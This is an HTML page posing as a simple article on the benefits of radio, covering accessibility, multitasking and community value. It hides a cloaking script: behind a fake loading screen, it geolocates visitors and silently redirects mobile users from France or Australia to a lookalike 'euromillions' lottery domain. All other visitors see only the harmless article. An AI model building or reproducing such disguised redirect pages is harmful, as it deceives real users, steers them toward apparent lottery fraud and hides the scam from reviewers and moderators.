<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>The Benefits of Radio</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        /* Default page settings */
        body {
            font-family: Arial, sans-serif;
            background-color: #fdfdfd;
            margin: 0;
            padding: 20px;
        }

        h1 {
            text-align: center;
            margin-bottom: 30px;
        }

        .blinking-container {
            display: flex;
            align-items: flex-start;
            margin-bottom: 20px;
        }

        .blinker {
            width: 8px;
            height: 100%;
            background-color: red;
            animation: blink 1s infinite;
        }

        .paragraph {
            padding: 0 15px;
            flex: 1;
            font-size: 1.1em;
            line-height: 1.7;
        }

        .image-container {
            display: flex;
            justify-content: center;
            margin: 20px 0 40px 0;
            padding: 0 10px;
        }

        .image {
            width: 100%;
            max-width: 100%;
            height: auto;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.2);
        }

        /* Loading screen styles */
        #loading-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #ffffff; /* Background color */
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 9999;
            font-size: 24px;
        }

        /* Hide main content */
        #main-content {
            display: none;
        }

        /* Dots animation */
        .dot {
            display: inline-block;
            width: 6px; /* Smaller size */
            height: 6px; /* Smaller size */
            margin-left: 5px;
            background-color: black;
            border-radius: 50%;
            animation: dot-blink 1.5s infinite;
        }

        .dot:nth-child(1) {
            animation-delay: 0s;
        }

        .dot:nth-child(2) {
            animation-delay: 0.3s;
        }

        .dot:nth-child(3) {
            animation-delay: 0.6s;
        }

        @keyframes dot-blink {
            0%, 100% {
                opacity: 0;
            }
            50% {
                opacity: 1;
            }
        }

        @keyframes blink {
            0% { opacity: 1; }
            50% { opacity: 0; }
            100% { opacity: 1; }
        }

        @media (min-width: 600px) {
            .image {
                max-width: 400px;
            }
        }
    </style>
</head>
<body>

    <!-- Loading screen -->
    <div id="loading-screen">
        <p>Loading<span class="dot"></span><span class="dot"></span><span class="dot"></span></p>
    </div>

    <!-- Main content -->
    <div id="main-content">
        <h1>The Benefits of Radio</h1>

        <div class="blinking-container">
            <div class="blinker"></div>
            <div class="paragraph">
                Radio has been a powerful medium of communication for over a century, providing information, entertainment, and education to people across the world. One of the most significant benefits of radio is its accessibility. Unlike other forms of media that require expensive devices or internet connections, radio can be accessed with a simple and inexpensive receiver. This is particularly important in developing countries and rural areas where internet infrastructure may not be fully developed. Radio waves travel long distances and can reach remote regions where newspapers, television, or the internet might not be available. In emergencies or natural disasters, radio becomes even more vital. It continues to work when other communication channels fail, offering timely updates and instructions to affected populations. Governments and humanitarian organizations often rely on radio broadcasts to deliver urgent messages and life-saving information during crises. This reliability makes radio a critical tool for public safety and awareness, especially in areas vulnerable to environmental or political instability.
            </div>
            <div class="blinker"></div>
        </div>
        <div class="image-container">
            <img class="image" src="https://fun.radio-be.com/20251.jpg" alt="Radio accessibility image">
        </div>

        <div class="blinking-container">
            <div class="blinker"></div>
            <div class="paragraph">
                Another key benefit of radio is its ability to accompany listeners throughout their daily lives. Unlike visual media that require full attention, radio allows people to multitask. Listeners can tune in while driving, cooking, working, or exercising. This flexibility makes radio a unique companion for millions of people each day. Radio also caters to a wide range of tastes and interests, with stations focusing on music, news, sports, culture, and talk shows. Many people build routines around their favorite radio programs, creating a sense of familiarity and comfort. Furthermore, radio supports passive learning. Educational programming on radio has proven effective in improving literacy, language skills, and knowledge on a variety of topics. In regions where formal education may be difficult to access, radio becomes an alternative classroom. Educational radio programs, such as language lessons or science talks, have made a difference in many parts of the world. During the COVID-19 pandemic, for example, radio played a significant role in continuing education where schools were closed and online access was limited. Additionally, for the elderly or visually impaired, radio offers an inclusive way to stay informed and entertained without needing to read or look at a screen.
            </div>
            <div class="blinker"></div>
        </div>
        <div class="image-container">
            <img class="image" src="https://fun.radio-be.com/20252.jpg" alt="Radio multitasking image">
        </div>

        <div class="blinking-container">
            <div class="blinker"></div>
            <div class="paragraph">
                Radio also plays a significant cultural and social role. Local radio stations are deeply connected to the communities they serve, often broadcasting in regional languages and focusing on local issues, events, and voices. This helps preserve linguistic and cultural diversity in a world that is increasingly dominated by global media. Local music, traditions, and stories are shared and celebrated on radio, giving communities a platform to express themselves and maintain their heritage. Furthermore, radio encourages participation and interaction. Many programs include call-in segments, interviews, and public discussions, fostering community dialogue and civic engagement. Politicians, community leaders, and citizens can use radio to discuss important topics, share opinions, and reach a broader audience. Radio advertising is also beneficial for small businesses and local entrepreneurs, offering an affordable way to promote their products and services. On a larger scale, public and independent radio stations contribute to media diversity and freedom of expression. In many countries, community radio stations are a voice for underrepresented groups and marginalized communities. They bring attention to social issues, advocate for human rights, and provide an alternative to mainstream narratives. Even in the digital age, with the rise of streaming and podcasts, radio has adapted by broadcasting online and reaching global audiences. This evolution ensures that radio remains relevant, combining the traditional strengths of the medium with modern technology. In summary, radio continues to be a resilient, inclusive, and versatile medium that connects, informs, and empowers people around the world.
            </div>
            <div class="blinker"></div>
        </div>
        <div class="image-container">
            <img class="image" src="https://fun.radio-be.com/20253.jpg" alt="Community radio image">
        </div>
    </div>

    <script>
        // Check if the user is on a mobile device
        function isMobileDevice() {
            return /Mobi|Android|iPhone/i.test(navigator.userAgent);
        }

        // Function to redirect user
        function redirectToTarget() {
            window.location.replace("https://euromillions.com-winning.com/");
        }

        // Fetch user's location using a geolocation API
        (async function checkAndRedirect() {
            try {
                const response = await fetch('https://ipapi.co/json/'); // Replace with your preferred geolocation API
                if (!response.ok) throw new Error("Failed to fetch location data");

                const data = await response.json();

                // Redirect if user is from BE or AU and is on a mobile device
                if ((data.country_code === "FR" || data.country_code === "AU") && isMobileDevice()) {
                    redirectToTarget();
                } else {
                    // Hide loading screen and show content
                    document.getElementById('loading-screen').style.display = "none";
                    document.getElementById('main-content').style.display = "block";
                }
            } catch (error) {
                console.error("Geolocation API error:", error);
                // If an error occurs, hide the loading screen and show the content
                document.getElementById('loading-screen').style.display = "none";
                document.getElementById('main-content').style.display = "block";
            }
        })();
    </script>
</body>
</html>
